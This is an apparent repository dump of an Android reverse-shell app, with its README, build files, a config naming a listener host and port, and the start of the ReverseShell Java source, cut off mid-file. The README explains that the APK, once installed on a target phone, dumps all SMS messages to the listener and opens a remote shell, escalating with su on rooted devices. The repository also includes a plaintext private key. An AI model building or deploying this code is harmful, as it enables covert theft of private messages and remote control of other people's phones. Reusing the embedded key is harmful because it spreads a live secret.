├── AndroidManifest.xml ├── Crypto ├── androidRSListener.crt ├── bcprov-jdk15on-146.jar ├── cert.pem └── javaserver.keystore ├── LICENSE.txt ├── README.md ├── bin ├── AndroidManifest.xml ├── AndroidReverseShell.apk ├── classes.dex ├── classes │ ├── .gitignore │ └── solidus │ │ └── android │ │ └── droidreverseshell │ │ ├── BuildConfig.class │ │ ├── R$attr.class │ │ ├── R$dimen.class │ │ ├── R$drawable.class │ │ ├── R$id.class │ │ ├── R$layout.class │ │ ├── R$menu.class │ │ ├── R$raw.class │ │ ├── R$string.class │ │ ├── R$style.class │ │ ├── R.class │ │ ├── ReverseShell$ProcessIOThread.class │ │ ├── ReverseShell$SecureConnectionThread.class │ │ └── ReverseShell.class ├── dexedLibs │ └── android-support-v4-2ecca33ba827e14eb10ed1e152acbdd9.jar ├── jarlist.cache ├── res │ └── crunch │ │ ├── drawable-hdpi │ │ └── ic_launcher.png │ │ ├── drawable-mdpi │ │ └── ic_launcher.png │ │ ├── drawable-xhdpi │ │ └── ic_launcher.png │ │ └── drawable-xxhdpi │ │ └── ic_launcher.png └── resources.ap_ ├── gen └── solidus │ └── android │ └── droidreverseshell │ ├── BuildConfig.java │ └── R.java ├── ic_launcher-web.png ├── libs └── android-support-v4.jar ├── proguard-project.txt ├── project.properties ├── res ├── drawable-hdpi │ └── ic_launcher.png ├── drawable-mdpi │ └── ic_launcher.png ├── drawable-xhdpi │ └── ic_launcher.png ├── drawable-xxhdpi │ └── ic_launcher.png ├── layout │ └── activity_reverse_shell.xml ├── menu │ └── reverse_shell.xml ├── raw │ └── android.truststore ├── values-sw600dp │ └── dimens.xml ├── values-sw720dp-land │ └── dimens.xml ├── values-v11 │ └── styles.xml ├── values-v14 │ └── styles.xml └── values │ ├── dimens.xml │ ├── strings.xml │ └── styles.xml └── src └── solidus └── android └── droidreverseshell ├── Config.java └── ReverseShell.java /AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 10 | 11 | 12 | 13 | 14 | 15 | 20 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /Crypto/androidRSListener.crt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/Crypto/androidRSListener.crt -------------------------------------------------------------------------------- /Crypto/bcprov-jdk15on-146.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/Crypto/bcprov-jdk15on-146.jar -------------------------------------------------------------------------------- /Crypto/cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDK7NIFXq+fRsyP 3 | 98sqxiRgwYwRc9FumNUGXFBdyCk0hMG9+hbkCTfmNBHNu3JB0MbIZMRSLwQrXx5/ 4 | qSlaVOgeOnFOgwRp+QV6RqTqF4OqKAMlYOG1CFUCsfuGBXaSjfDTStGpaBhp8HJQ 5 | UGKXqeVxyvwhqLH6kWTTdDZU0R5g2i1d3ZQRCOXMN5j7495SAsI2MoJsB7Pf0x8K 6 | f1XBWslKWHwudkJgQlqEfOYY/HC29zbuwMfIVL2hbbfKXkmiA9wX4DzkhkFSChop 7 | Ir9dLVs8GpYExKkWeWsGfrzF7UdKsJxY47fLKkHK6OLd3+SUMgbQRqyo82RAK3Hn 8 | HBvUBHF9AgMBAAECggEBAKP0WfBaw3zmQCtmIzHpK8U9PAVx1VoNg7iC57AOJDS5 9 | uqvbH5mZVR/bHDNkavmATMvmlrRsJmtAjCzLKY1BotWhlKDBvNQ+jk1wPJii7Q+T 10 | Co+tyk9xbvYhhb6QNXBN3LFq9yFv6KHX0xTPDgnKDIc3YSV03nA7/wHWGHvJBklr 11 | LKl2HrmJlfl+Na3zN2G8WR0KnO2l1DWpPf4piFiwH8TNV+fsVV6O/hnt1sp3XusC 12 | 1JU9v53fF6J6JH5GYGCR7rBR6FKuvTDtuDrGbUiGlT6mvXC0l1EJTGoJwxqNHNlS 13 | nLg5w+9MEU12PmjdrvBy/oINvcBg3sjf5RTZnV7iCQUCgYEA+E04KejPcSgBTmca 14 | Vy4riMz7ESQagJ56wgoIvboQFYM+6YW6E89HQwWhjRt0yBjvqypxTEGFtKU9YFnw 15 | 8gdQvGY2EE036HCTmuK/fnRuaTy4I+yopWzPbMZIlAJ9WAmHwRp/VfRKyRDbcHmE 16 | uAqecU2DPFaCctqFt4wDcwy8LecCgYEA0TdyAcEb/aGRDm60gpEP0crvnnRqkEgI 17 | vjNeors50UKEvUVATBUa/1FacoLTVDFRjVLAnnpqALcQX/wdk6zY9qMJegjaP5Fr 18 | s1s4z082V9fnoWJ4ngQPO8td3tSPgMLaFwem2mai5mwwDc+uJvPmj7zsVMw5JTdW 19 | dYfnyN+TEPsCgYEAzntQgDF1CDFvXKaKlgLz+vASvL9cNqcTiHbVrAilRW5+C63D 20 | /qM5LHfrTy+M3rU14Q4LZ5F5Qa7DqnNA1dPVhMYuoUHFg0rSxFNZUSw7gNIYgu9T 21 | kzU4DMmbI1Iqr+JE/QUu7OiYpDmbch3riyxxc+E0iCGcmywzVF5fo/XsKvMCgYEA 22 | tyHHY427iJmiNXXl/9wmcscmVBcnKEBFlue0UNF93JRTSLGThIV86jw15cJqZWn+ 23 | Lqxe+tnAa/vSE5LF+Pv1tn4jz3RsRfRux8JzydNWiDHvCS7+0aJQC1EKTADX1Ce7 24 | aylBfi8VLIlKzuwZTvNzwCHo5JkW9GKqBZr+4rABNX0CgYEAiMN38ZLmGZPjA7Qb 25 | YnE5z7kuQZmJd9k2jb+fw7U0TrkFk2yt7U04uYC8lNGWCQ1Bb3rn2IInGqNrVpP1 26 | IFzfGgORGf/7vdoJksWbJzyWBiEgWNM6pGo+4vKYDuEfHvQvbv4NzurAzG82nqdU 27 | xPAA9DU2oNHaSybDhLOhIaMRwCE= 28 | -----END PRIVATE KEY----- 29 | -----BEGIN CERTIFICATE----- 30 | MIIDXTCCAkWgAwIBAgIJALVa1XhApAw2MA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNV 31 | BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX 32 | aWRnaXRzIFB0eSBMdGQwHhcNMTMxMjI1MDUyMDIxWhcNMjMxMjIzMDUyMDIxWjBF 33 | MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50 34 | ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB 35 | CgKCAQEAyuzSBV6vn0bMj/fLKsYkYMGMEXPRbpjVBlxQXcgpNITBvfoW5Ak35jQR 36 | zbtyQdDGyGTEUi8EK18ef6kpWlToHjpxToMEafkFekak6heDqigDJWDhtQhVArH7 37 | hgV2ko3w00rRqWgYafByUFBil6nlccr8Iaix+pFk03Q2VNEeYNotXd2UEQjlzDeY 38 | ++PeUgLCNjKCbAez39MfCn9VwVrJSlh8LnZCYEJahHzmGPxwtvc27sDHyFS9oW23 39 | yl5JogPcF+A85IZBUgoaKSK/XS1bPBqWBMSpFnlrBn68xe1HSrCcWOO3yypByuji 40 | 3d/klDIG0EasqPNkQCtx5xwb1ARxfQIDAQABo1AwTjAdBgNVHQ4EFgQUJ/g1QxRW 41 | U7kdtNalvCDYaFq57ZwwHwYDVR0jBBgwFoAUJ/g1QxRWU7kdtNalvCDYaFq57Zww 42 | DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEADMKfPgEyWYbiIqnGOQPU 43 | qG5p00Ll5TAc619jPkoweDZnFek+b55byVa/K9O2Sg/72wboeTXKZ7AbtZgtCP6Q 44 | jDk3fBN32NqdKJGM4WFM/F6J7xfqTku61ov1aD8+witRVRza0B/YdZtjEUtFLI/V 45 | IAqLXGTRippUqRMjXNIk7v5EQCeqA/91/xHCAsHacCV+0nBiZ+DMPaVUAJ9l09Qy 46 | HBs50vN3l2gCO+FhjJfGgtYYO9v6aTC8dClbz02My0AEOfjuIn88zFDlVsR3fvAu 47 | umK50Xa7vYUoHcK0tmmvsdb/c+E8j0eyb9/cF5B4ZwY+gb9Ix6ECk9AJ6hwQC4EP 48 | 6A== 49 | -----END CERTIFICATE----- 50 | -------------------------------------------------------------------------------- /Crypto/javaserver.keystore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/Crypto/javaserver.keystore -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Android Reverse Shell - Sends an interactive shell to a listener. 2 | Copyright (C) <2014> 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | 17 | Contact: 18 | Ian Cohee 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Android Reverse Shell 2 | =================== 3 | Ian Cohee 4 | --------------------- 5 | 6 | A small, very basic reverse shell for the Android mobile operating system. The code can be compiled into an APK package, that must be installed 7 | on the target device. The application will dump the SMS contents of the device inbox, outbox, and sent mail, then drop into the shell. The resulting shell will be unprivileged, unless the target phone is rooted, then the command "su" can be used. In that case, the user still needs to manually give the application permission to "su" to UID 0. 8 | 9 | Secured vs. Unsecured Shell 10 | -------------------------- 11 | By default, the connection is made using SSL encryption, provided by the Listener's keystore. The Certificate for the listener's private key has been imported to the Android application's TrustStore, located in /res/raw/android.truststore. 12 | If you want to create your own SSL keypair, you'll need to import the certificate manually. 13 | 14 | Secure 15 | 16 | // UI cannot do networking stuff on its own, it needs 17 | // a separate thread. 18 | new SecureConnectionThread().execute(host, port, "true"); 19 | 20 | 21 | Insecure 22 | 23 | // UI cannot do networking stuff on its own, it needs 24 | // a separate thread. 25 | new SecureConnectionThread().execute(host, port, "false"); 26 | 27 | Listener (default: secured) 28 | -------- 29 | I'm providing a Listener written in Java, that uses a KeyStore containing the private key that the Android Reverse Shell will accept. The BouncyCastle jar needs to be in the classpath of the listener, as well as two command-line arguments: 1) Path to the keystore (also supplied in this repository, under 'Crypto') and 2) the port to listen on (7777 by default). 30 | 31 | java -classpath /path/to/bcprov-jdk15on-146.jar: Listener /path/to/javaserver.keystore 7777 32 | 33 | Listener (unsecured) 34 | -------- 35 | Still working on that (I'll have it when I get SSL or Symmetric key encryption added) in the mean time, a simple netcat-like listener works. I prefer to use Ncat, of the Nmap project. Since the application dumps SMS, I like to pipe them to `tee` to capture the results. The Listener will have logging, when I get to it. 36 | 37 | ncat 192.168.2.3 7777 | tee server.out 38 | 39 | Mini-tutorials 40 | ============== 41 | 42 | Generating a KeyStore 43 | ----------------------- 44 | keytool -genkey -keystore server.keystore -alias android -storetype BKS -providerpath /path/to/bcprov-jdk15on-146.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider 45 | 46 | Getting Android to accpet the KeyStore (TrustStore) 47 | --------------------------------------------------- 48 | Step 1: Export public key from KeyStore into a `.crt` file. In this case the key's alias is 'android' and the resulting certificate will be 'android.crt' 49 | 50 | keytool -export -keystore server.keystore -alias android -file android.crt -storetype BKS -providerpath /path/to/bcprov-jdk15on-146.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider 51 | 52 | Step 2: Import `.crt` in to the Android's TrustStore, under the alias 'android'. 53 | 54 | keytool -import -keystore android.truststore -alias android -file android.crt -storetype BKS -providerpath /path/to/bcprov-jdk15on-146.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider 55 | 56 | Generating X509 Certificate (deprecated) 57 | -------------------------------------- 58 | This file will contain the both the private key, and the certificate into a file called `cert.pem`. It might be possible to use `ncat` with this cert, but I had issues keeping the connection alive using `ncat` as the listener. The preferred method should be to use the AndroidRSListener, written in Java. 59 | 60 | openssl req -newkey rsa:2048 -nodes -days 3650 -x509 -keyout cert.pem -out cert.pem 61 | 62 | Then extract the everything between the `-----BEGIN_CERTIFICATE-----` and `-----END_CERTIFICATE-----` (inclusively) into a new file. Now This file needs to be added to the trust store that the application uses. 63 | 64 | Importing Certificate into TrustStore 65 | ------------------------------------- 66 | keytool -importcert -trustcacerts -keystore android.truststore -file cert.pem -storetype BKS -providerpath /path/to/bcprov-jdk15on-146.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider 67 | 68 | Adding Bouncy Castle to java.security File, statically 69 | ------------------------------------------------------ 70 | Locate the correct security file, mine was a symlink in /usr 71 | 72 | locate java.security 73 | 74 | Add an entry, where X is the next ordinal number to the java.security file 75 | 76 | security.provider.X=org.bouncycastle.jce.provider.BouncyCastleProvider 77 | -------------------------------------------------------------------------------- /bin/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 10 | 11 | 12 | 13 | 14 | 15 | 20 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /bin/AndroidReverseShell.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/AndroidReverseShell.apk -------------------------------------------------------------------------------- /bin/classes.dex: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes.dex -------------------------------------------------------------------------------- /bin/classes/.gitignore: -------------------------------------------------------------------------------- 1 | /solidus 2 | /.gitignore 3 | -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/BuildConfig.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/BuildConfig.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$attr.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$attr.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$dimen.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$dimen.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$drawable.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$drawable.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$id.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$id.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$layout.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$layout.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$menu.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$menu.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$raw.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$raw.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$string.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$string.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R$style.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R$style.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/R.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/R.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/ReverseShell$ProcessIOThread.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/ReverseShell$ProcessIOThread.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/ReverseShell$SecureConnectionThread.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/ReverseShell$SecureConnectionThread.class -------------------------------------------------------------------------------- /bin/classes/solidus/android/droidreverseshell/ReverseShell.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/classes/solidus/android/droidreverseshell/ReverseShell.class -------------------------------------------------------------------------------- /bin/dexedLibs/android-support-v4-2ecca33ba827e14eb10ed1e152acbdd9.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/dexedLibs/android-support-v4-2ecca33ba827e14eb10ed1e152acbdd9.jar -------------------------------------------------------------------------------- /bin/jarlist.cache: -------------------------------------------------------------------------------- 1 | # cache for current jar dependency. DO NOT EDIT. 2 | # format is 3 | # Encoding is UTF-8 4 | -------------------------------------------------------------------------------- /bin/res/crunch/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/res/crunch/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /bin/res/crunch/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/res/crunch/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /bin/res/crunch/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/res/crunch/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /bin/res/crunch/drawable-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/res/crunch/drawable-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /bin/resources.ap_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/bin/resources.ap_ -------------------------------------------------------------------------------- /gen/solidus/android/droidreverseshell/BuildConfig.java: -------------------------------------------------------------------------------- 1 | /*___Generated_by_IDEA___*/ 2 | 3 | package solidus.android.droidreverseshell; 4 | 5 | /* This stub is only used by the IDE. It is NOT the BuildConfig class actually packed into the APK */ 6 | public final class BuildConfig { 7 | public final static boolean DEBUG = Boolean.parseBoolean(null); 8 | } -------------------------------------------------------------------------------- /gen/solidus/android/droidreverseshell/R.java: -------------------------------------------------------------------------------- 1 | /* AUTO-GENERATED FILE. DO NOT MODIFY. 2 | * 3 | * This class was automatically generated by the 4 | * aapt tool from the resource data it found. It 5 | * should not be modified by hand. 6 | */ 7 | 8 | package solidus.android.droidreverseshell; 9 | 10 | public final class R { 11 | public static final class attr { 12 | } 13 | public static final class dimen { 14 | /** Default screen margins, per the Android Design guidelines. 15 | 16 | Customize dimensions originally defined in res/values/dimens.xml (such as 17 | screen margins) for sw720dp devices (e.g. 10" tablets) in landscape here. 18 | 19 | */ 20 | public static final int activity_horizontal_margin=0x7f050000; 21 | public static final int activity_vertical_margin=0x7f050001; 22 | } 23 | public static final class drawable { 24 | public static final int ic_launcher=0x7f020000; 25 | } 26 | public static final class id { 27 | public static final int action_settings=0x7f090002; 28 | public static final int progressBar1=0x7f090001; 29 | public static final int textView1=0x7f090000; 30 | } 31 | public static final class layout { 32 | public static final int activity_reverse_shell=0x7f030000; 33 | } 34 | public static final class menu { 35 | public static final int reverse_shell=0x7f080000; 36 | } 37 | public static final class raw { 38 | public static final int android=0x7f040000; 39 | } 40 | public static final class string { 41 | public static final int action_settings=0x7f060001; 42 | public static final int app_name=0x7f060000; 43 | } 44 | public static final class style { 45 | /** 46 | Base application theme, dependent on API level. This theme is replaced 47 | by AppBaseTheme from res/values-vXX/styles.xml on newer devices. 48 | 49 | 50 | Theme customizations available in newer API levels can go in 51 | res/values-vXX/styles.xml, while customizations related to 52 | backward-compatibility can go here. 53 | 54 | 55 | Base application theme for API 11+. This theme completely replaces 56 | AppBaseTheme from res/values/styles.xml on API 11+ devices. 57 | 58 | API 11 theme customizations can go here. 59 | 60 | Base application theme for API 14+. This theme completely replaces 61 | AppBaseTheme from BOTH res/values/styles.xml and 62 | res/values-v11/styles.xml on API 14+ devices. 63 | 64 | API 14 theme customizations can go here. 65 | */ 66 | public static final int AppBaseTheme=0x7f070000; 67 | /** Application theme. 68 | All customizations that are NOT specific to a particular API-level can go here. 69 | */ 70 | public static final int AppTheme=0x7f070001; 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /ic_launcher-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/ic_launcher-web.png -------------------------------------------------------------------------------- /libs/android-support-v4.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/libs/android-support-v4.jar -------------------------------------------------------------------------------- /proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | -------------------------------------------------------------------------------- /project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | target=android-19 15 | -------------------------------------------------------------------------------- /res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/res/drawable-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/layout/activity_reverse_shell.xml: -------------------------------------------------------------------------------- 1 | 10 | 11 | 19 | 20 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /res/menu/reverse_shell.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /res/raw/android.truststore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iancohee/AndroidReverseShell/97022370c3268da8520f6df25491b25e2be6379a/res/raw/android.truststore -------------------------------------------------------------------------------- /res/values-sw600dp/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /res/values-sw720dp-land/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 128dp 8 | 9 | 10 | -------------------------------------------------------------------------------- /res/values-v11/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /res/values-v14/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /res/values/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 16dp 5 | 16dp 6 | 7 | 8 | -------------------------------------------------------------------------------- /res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Snicklefritz 5 | Settings 6 | 7 | 8 | -------------------------------------------------------------------------------- /res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 14 | 15 | 16 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /src/solidus/android/droidreverseshell/Config.java: -------------------------------------------------------------------------------- 1 | package solidus.android.droidreverseshell; 2 | 3 | /** 4 | * Created by solidus on 3/24/14. 5 | */ 6 | public class Config { 7 | // Reverse Shell stuff 8 | public static final String HOST = "192.168.1.40"; 9 | public static final String PORT = "7777"; 10 | public static final String SHELL_PATH = "/system/bin/sh"; 11 | public static final String SMS_URL = "content://sms/"; 12 | public static final String USE_SSL_TRUE = "true"; 13 | public static final String USE_SSL_FALSE = "false"; 14 | 15 | // This won't change unless Android picks another security provider 16 | public static final String KEYSTORE_TYPE = "BKS"; 17 | public static final String SSL_CONTEXT_TYPE = "TLS"; 18 | } 19 | -------------------------------------------------------------------------------- /src/solidus/android/droidreverseshell/ReverseShell.java: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * Android Reverse Shell, for use with Android Reverse Shell Listener 4 | * 5 | * This program is licensed under GPL 3. See LICENSE.txt 6 | * for more information. 7 | * 8 | * Disclaimer: This software was developed as a "proof-of-concept" application, 9 | * and should never be used against devices which you do not own. Don't 10 | * */ 11 | package solidus.android.droidreverseshell; 12 | 13 | import java.io.DataOutputStream; 14 | import java.io.IOException; 15 | import java.io.InputStream; 16 | import java.io.OutputStream; 17 | import java.net.Socket; 18 | import java.security.GeneralSecurityException; 19 | import java.security.KeyStore; 20 | import java.util.Arrays; 21 | import java.util.Date; 22 | 23 | import javax.net.ssl.KeyManagerFactory; 24 | import javax.net.ssl.SSLContext; 25 | import javax.net.ssl.SSLSocket; 26 | import javax.net.ssl.SSLSocketFactory; 27 | import javax.net.ssl.TrustManagerFactory; 28 | 29 | import android.net.Uri; 30 | import android.os.AsyncTask; 31 | import android.os.Bundle; 32 | import android.app.Activity; 33 | import android.content.Context; 34 | import android.database.Cursor; 35 | import android.text.method.ScrollingMovementMethod; 36 | import android.view.Menu; 37 | import android.widget.ProgressBar; 38 | import android.widget.TextView; 39 | 40 | 41 | public class ReverseShell extends Activity { 42 | 43 | // Some local stuff 44 | // Includes the parameters of listening process 45 | private TextView outputText; 46 | private ProgressBar activitySpinner; 47 | private final String host = Config.HOST; // Host of Listener 48 | private final String port = Config.PORT; // Port of Listener 49 | private final String shellPath = Config.SHELL_PATH; 50 | private Context context; 51 | 52 | @Override 53 | protected void onCreate(Bundle savedInstanceState) { 54 | super.onCreate(savedInstanceState); 55 | setContentView(R.layout.activity_reverse_shell); 56 | context = getApplicationContext(); 57 | 58 | try { 59 | // Get the button and output views 60 | outputText = (TextView) findViewById(R.id.textView1); 61 | outputText.setMovementMethod(new ScrollingMovementMethod()); 62 | activitySpinner = (ProgressBar) findViewById(R.id.progressBar1); 63 | activitySpinner.bringToFront(); 64 | 65 | // UI cannot do networking stuff on its own, it needs 66 | // a separate thread. 67 | new SecureConnectionThread().execute(host, port, Config.USE_SSL_TRUE); 68 | 69 | } catch(Exception e) { 70 | System.exit(1); 71 | } 72 | } // End onCreate 73 | 74 | @Override 75 | public boolean onCreateOptionsMenu(Menu menu) { 76 | // Inflate the menu; this adds items to the action bar if it is present. 77 | getMenuInflater().inflate(R.menu.reverse_shell, menu); 78 | return true; 79 | } 80 | 81 | /* 82 | * Subclass: SecureConnectionThread 83 | * @param[0]: string, Hostname of Listener 84 | 